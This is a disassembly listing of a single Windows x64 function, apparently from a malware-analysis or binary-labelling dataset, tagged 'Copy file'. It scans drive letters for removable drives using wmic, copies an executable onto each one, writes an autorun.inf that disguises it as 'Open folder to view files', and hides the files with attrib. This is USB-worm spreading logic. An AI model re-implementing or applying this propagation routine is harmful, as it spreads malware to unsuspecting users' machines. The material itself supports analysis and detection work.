Function at 0x140005450
Capabilities:
Copy file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x308
movaps xmmword [rsp + 0x2f0], xmm6
lea rcx, [rsp + 0xb8]
call fcn.140048010
mov rcx, qword [rsp + 0xb8]
mov r14, qword [rsp + 0xc0]
mov rax, rcx
neg rax
jo 0x140006447
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], r14
movabs rbp, 0x8000000000000000
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], 0x17
movaps xmm0, xmmword [str.DEFGHIJKLMNOPQRSTUVWCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [0x14006a010]
movups xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [0x14006a020]
movups xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x14006a030]
movups xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x14006a040]
movups xmmword [rsp + 0x2d0], xmm0
movabs rax, 0x5900000058
mov qword [rsp + 0x2e0], rax
mov dword [rsp + 0x2e8], 0x5a
lea rbx, [rsp + 0xc0]
lea r12, [rsp + 0x194]
lea r15, [rsp + 0xb8]
xorps xmm6, xmm6
lea r13, [rsp + 0x1a0]
jmp 0x14000556a
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_CloseHandle
mov rax, qword [rsp + 0x280]
cmp qword [rsp + 0x288], rax
je 0x140006283
lea rcx, [rax + 1]
mov qword [rsp + 0x280], rcx
mov eax, dword [rsp + rax*4 + 0x290]
mov dword [rsp + 0x194], eax
mov qword [rsp + 0x80], r12
lea rax, [fcn.140012630]
mov qword [rsp + 0x88], rax
lea rax, [0x14006ce08]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0xd8], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
lea rcx, [rsp + 0x268]
mov rdx, r15
call fcn.14000e720
movups xmm0, xmmword [rsp + 0x268]
movaps xmmword [rsp + 0x60], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0xb8], 0
movups xmmword [rbx], xmm6
mov dword [rsp + 0xd0], 7
mov word [rbx + 0x1c], 0
mov qword [rbx + 0x14], 0
mov byte [rsp + 0xd8], 1
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov r8, r15
call fcn.140046150
test rax, rax
je 0x140005680
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
jmp 0x1400061f8
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
movzx eax, byte [0x140081100]
mov edx, 3
xor ecx, ecx
call fcn.140057e30
test rax, rax
je 0x140006466
mov rbx, r12
mov byte [rax + 2], 0x64
mov word [rax], 0x6d63
mov qword [rsp + 0xb8], 3
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 3
mov byte [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 8
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x150], 0
mov word [rsp + 0x158], 0
mov qword [rsp + 0xf0], rbp
mov dword [rsp + 0x17c], 0
mov word [rsp + 0x178], 0
mov word [rsp + 0x180], 0
mov dword [rsp + 0x110], 6
mov dword [rsp + 0x120], 6
mov dword [rsp + 0x130], 6
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x210], rax
lea rax, [0x140002490]
mov qword [rsp + 0x218], rax
lea rax, str.wmic_logicaldisk_where__DeviceID__get_DriveType
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1c0], 0
lea rax, [rsp + 0x210]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
lea rcx, [rsp + 0x220]
mov rdx, r13
call fcn.14000e720
mov r12, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
mov rsi, qword [rsp + 0x230]
mov r8d, 2
mov rcx, r15
lea rdx, [0x14006cd1b]
call fcn.14005b2d0
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call fcn.14005b2d0
lea rcx, [rsp + 0x80]
mov rdx, r15
call fcn.140056f50
mov rax, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
cmp rax, rbp
je 0x1400062a6
lea rdx, [rsp + 0x90]
mov rcx, qword [rdx + 0x20]
lea r8, [rsp + 0x1e8]
mov qword [r8 + 0x20], rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], r14
test r12, r12
je 0x1400058a1
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rdi
call fcn.1400615a4
mov rcx, r15
call fcn.1400018f0
mov r12, rbx
mov rdx, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1e8]
mov rcx, r15
call fcn.14000e4e0
mov r8, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
cmp rax, 2
jb 0x140005904
cmp rax, 0xf
ja 0x140005b59
xor ecx, ecx
nop word cs:[rax + rax]
cmp byte [r8 + rcx], 0x32
je 0x140005918
inc rcx
cmp rax, rcx
jne 0x1400058f0
jmp 0x140006190
cmp rax, 1
jne 0x140006190
cmp byte [r8], 0x32
jne 0x140006190
mov rax, qword [rsp + 0xb8]
shl rax, 1
test rax, rax
je 0x140005936
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x80], rax
lea rax, [0x140002490]
mov qword [rsp + 0x88], rax
lea rax, [0x14006ce90]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0xd8], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
lea rcx, [rsp + 0x238]
mov rdx, r15
call fcn.14000e720
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0x80]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x1d0]
call fcn.1400464e0
mov rax, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
cmp rax, rbp
je 0x140005a45
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xc8], rcx
mov rcx, r13
mov rdx, r15
mov r8b, 1
call fcn.140046690
mov rdi, qword [rsp + 0x1a0]
mov r12, qword [rsp + 0x1a8]
cmp rdi, rbp
jne 0x140005fec
mov r14, r12
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140005aa0
lea r12, [r14 - 1]
mov rsi, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140005a6c
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140005a8f
cmp qword [rdi + 0x10], 0x11
jb 0x140005a7e
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r12
call fcn.1400615a4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x80], rax
lea rax, [0x140002490]
mov qword [rsp + 0x88], rax
lea rax, [0x14006cec0]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0xd8], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
lea rcx, [rsp + 0x250]
mov rdx, r15
call fcn.14000e720
mov rdi, qword [rsp + 0x250]
mov r12, qword [rsp + 0x258]
mov r13, qword [rsp + 0x260]
test r13, r13
mov qword [rsp + 0x188], rdi
js 0x140006488
je 0x140005b75
movzx eax, byte [0x140081100]
xor ecx, ecx
mov rdx, r13
call fcn.140057e30
test rax, rax
je 0x14000648f
mov rsi, rax
jmp 0x140005b7a
lea rcx, [r8 + 7]
and rcx, 0xfffffffffffffff8
sub rcx, r8
jne 0x140005fca
lea rdx, [rax - 0x10]
xor ecx, ecx
jmp 0x140006110
mov esi, 1
mov rcx, rsi
mov rdx, r12
mov r8, r13
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0xb8], 0
lea rax, [rsp + 0xc0]
movups xmmword [rax], xmm6
mov dword [rsp + 0xd0], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rsp + 0xd9], 1
mov word [rsp + 0xdb], 0x101
mov rcx, rsi
mov rdx, r13
mov r8, r15
call fcn.140046150
mov rdi, rax
mov r14, rdx
test r13, r13
je 0x140005bf3
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
test rdi, rdi
jne 0x1400062d8
mov qword [rsp + 0x1a0], r14
mov r8d, 0x3c
lea rcx, [rsp + 0x1a0]
lea rdx, str._AutoRun__nopensystem32.exe_nactionOpen_folder_to_view_filesattribhs
call fcn.14001a740
mov rsi, rax
test rax, rax
jne 0x14000630d
movzx eax, byte [0x140081100]
mov edx, 6
xor ecx, ecx
call fcn.140057e30
test rax, rax
je 0x140006477
mov word [rax + 4], 0x6269
mov dword [rax], 0x72747461
mov qword [rsp + 0xb8], 6
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 6
mov byte [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 8
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x150], 0
mov word [rsp + 0x158], 0
mov qword [rsp + 0xf0], rbp
mov dword [rsp + 0x17c], 0
mov word [rsp + 0x178], 0
mov word [rsp + 0x180], 0
mov dword [rsp + 0x110], 6
mov dword [rsp + 0x120], 6
mov dword [rsp + 0x130], 6
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
mov r8d, 2
mov rcx, r15
lea rdx, [0x14006cf22]
call fcn.14005b2d0
mov r8d, 2
mov rcx, r15
lea rdx, [0x14006cf24]
call fcn.14005b2d0
mov rcx, r15
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x198]
call fcn.14005b2d0
lea rcx, [rsp + 0x80]
mov rdx, r15
call fcn.140056f50
mov rax, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
cmp rax, rbp
je 0x1400062e9
mov rdi, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test rax, rax
je 0x140005dae
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
test rdi, rdi
je 0x140005dc4
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r14
call fcn.1400615a4
mov rcx, r15
call fcn.1400018f0
movzx eax, byte [0x140081100]
mov edx, 6
xor ecx, ecx
call fcn.140057e30
test rax, rax
je 0x140006477
mov word [rax + 4], 0x6269
mov dword [rax], 0x72747461
mov qword [rsp + 0xb8], 6
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 6
mov byte [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 8
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x150], 0
mov word [rsp + 0x158], 0
mov rdi, rbp
mov qword [rsp + 0xf0], rbp
mov dword [rsp + 0x17c], 0
mov word [rsp + 0x178], 0
mov word [rsp + 0x180], 0
mov dword [rsp + 0x110], 6
mov dword [rsp + 0x120], 6
mov dword [rsp + 0x130], 6
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
mov r8d, 2
mov rcx, r15
lea rdx, [0x14006cf22]
call fcn.14005b2d0
mov r8d, 2
mov rcx, r15
lea rdx, [0x14006cf24]
call fcn.14005b2d0
mov rcx, r15
mov rdx, r12
mov r8, r13
call fcn.14005b2d0
lea rcx, [rsp + 0x80]
mov rdx, r15
call fcn.140056f50
mov rax, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
cmp rax, rdi
je 0x1400062f8
mov rdi, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test rax, rax
je 0x140005f4c
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
test rdi, rdi
je 0x140005f62
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r14
call fcn.1400615a4
mov rcx, r15
call fcn.1400018f0
mov rcx, qword [rsp + 0x1a0]
call sub.kernel32.dll_CloseHandle
cmp qword [rsp + 0x188], 0
je 0x140005f93
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r12
call fcn.1400615a4
cmp qword [rsp + 0x40], 0
mov r12, rbx
lea rbx, [rsp + 0xc0]
lea r13, [rsp + 0x1a0]
je 0x1400061b6
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call fcn.1400615a4
jmp 0x1400061b6
xor edx, edx
nop dword [rax]
cmp byte [r8 + rdx], 0x32
je 0x140005918
inc rdx
cmp rcx, rdx
jne 0x140005fd0
lea rdx, [rax - 0x10]
jmp 0x140006161
lea rcx, [rsp + 0x80]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x198]
call fcn.1400464e0
mov rax, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
cmp rax, rbp
je 0x14000605e
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rcx
mov rcx, r13
mov rdx, r15
mov r8b, 1
call fcn.140046690
mov r13, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1a8]
cmp r13, rbp
jne 0x140006080
mov r14, rsi
test rdi, rdi
je 0x140005a48
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r12
call fcn.1400615a4
jmp 0x140005a48
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, r12
mov rdx, rsi
lea r8, [0x14005b2b0]
mov r9, r15
call sub.kernel32.dll_CopyFileExW
test eax, eax
je 0x1400060da
test r13, r13
je 0x1400060cc
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
test rdi, rdi
jne 0x140005a8f
jmp 0x140005aa0
call sub.kernel32.dll_GetLastError
mov r14d, eax
shl r14, 0x20
or r14, 2
test r13, r13
je 0x140006061
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
jmp 0x140006061
mov r9, qword [r8 + rcx]
mov r10, r9
movabs rsi, 0x3232323232323232
xor r10, rsi
mov r11, qword [r8 + rcx + 8]
xor r11, rsi
movabs rdi, 0x101010101010100
mov rsi, rdi
sub rsi, r11
or rsi, r11
mov r11, rdi
sub r11, r10
or r11, r9
movabs r9, 0x8080808080808080
and r11, r9
and r11, rsi
cmp r11, r9
jne 0x140006166
add rcx, 0x10
cmp rcx, rdx
jbe 0x140006110
cmp rcx, rax
je 0x140006190
nop dword [rax + rax]
cmp byte [r8 + rcx], 0x32
je 0x140005918
inc rcx
cmp rax, rcx
jne 0x140006170
nop word cs:[rax + rax]
mov rax, qword [rsp + 0xb8]
shl rax, 1
test rax, rax
je 0x1400061ae
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
lea rbx, [rsp + 0xc0]
cmp qword [rsp + 0x1d8], 0
je 0x1400061d7
mov r8, qword [rsp + 0x1e0]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
cmp qword [rsp + 0x1f0], 0
je 0x1400061f8
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
cmp qword [rsp + 0x60], 0
je 0x140006213
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
test byte [rsp + 0x50], 1
je 0x140005560
mov rax, qword [rsp + 0x58]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000556a
lea rdi, [rax - 1]
mov rsi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rax, qword [r14]
test rax, rax
je 0x14000624a
mov rcx, rsi
call rax
cmp qword [r14 + 8], 0
je 0x14000626d
cmp qword [r14 + 0x10], 0x11
jb 0x14000625c
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rdi
call fcn.1400615a4
jmp 0x14000556a
cmp qword [rsp + 0x38], 0
je 0x14000629e
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, qword [rsp + 0x30]
call fcn.1400615a4
xor r14d, r14d
jmp 0x140006447
test r12, r12
je 0x1400062bc
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rdi
call fcn.1400615a4
lea rcx, [rsp + 0xb8]
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
call fcn.1400018f0
jmp 0x14000639d
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x140006327
lea rcx, [rsp + 0xb8]
call fcn.1400018f0
jmp 0x14000630d
lea rcx, [rsp + 0xb8]
call fcn.1400018f0
mov r14, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov rcx, r14
call sub.kernel32.dll_CloseHandle
mov r14, rsi
cmp qword [rsp + 0x188], 0
je 0x140006343
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, r12
call fcn.1400615a4
test r15, r15
je 0x14000635b
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call fcn.1400615a4
cmp qword [rsp + 0x1d8], 0
je 0x14000637c
mov r8, qword [rsp + 0x1e0]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
cmp qword [rsp + 0x1f0], 0
je 0x14000639d
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
cmp qword [rsp + 0x60], 0
je 0x1400063b8
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x1400810e8]
xor edx, edx
call fcn.1400615a4
test byte [rsp + 0x50], 1
je 0x140006427
mov rax, qword [rsp + 0x58]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140006431
lea rdi, [rax - 1]
mov rsi, qword [rax - 1]
mov r15, qword [rax + 7]
mov rax, qword [r15]
test rax, rax
je 0x1400063e7
mov rcx, rsi
call rax
cmp qword [r15 + 8], 0
je 0x14000640a
cmp qword [r15 + 0x10], 0x11
jb 0x1400063f9
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rsi
call fcn.1400615a4
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rdi
call fcn.1400615a4
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
jmp 0x140006431
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_CloseHandle
test rbx, rbx
je 0x140006447
mov rcx, qword [0x1400810e8]
xor edx, edx
mov r8, rdi
call fcn.1400615a4
mov rax, r14
movaps xmm6, xmmword [rsp + 0x2f0]
add rsp, 0x308
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov edx, 3
call fcn.14000e2b0
jmp 0x14000649c
mov ecx, 1
mov edx, 6
call fcn.14000e2b0
jmp 0x14000649c
call fcn.14000e2d0
jmp 0x14000649c
mov ecx, 1
mov rdx, r13
call fcn.14000e2b0
ud2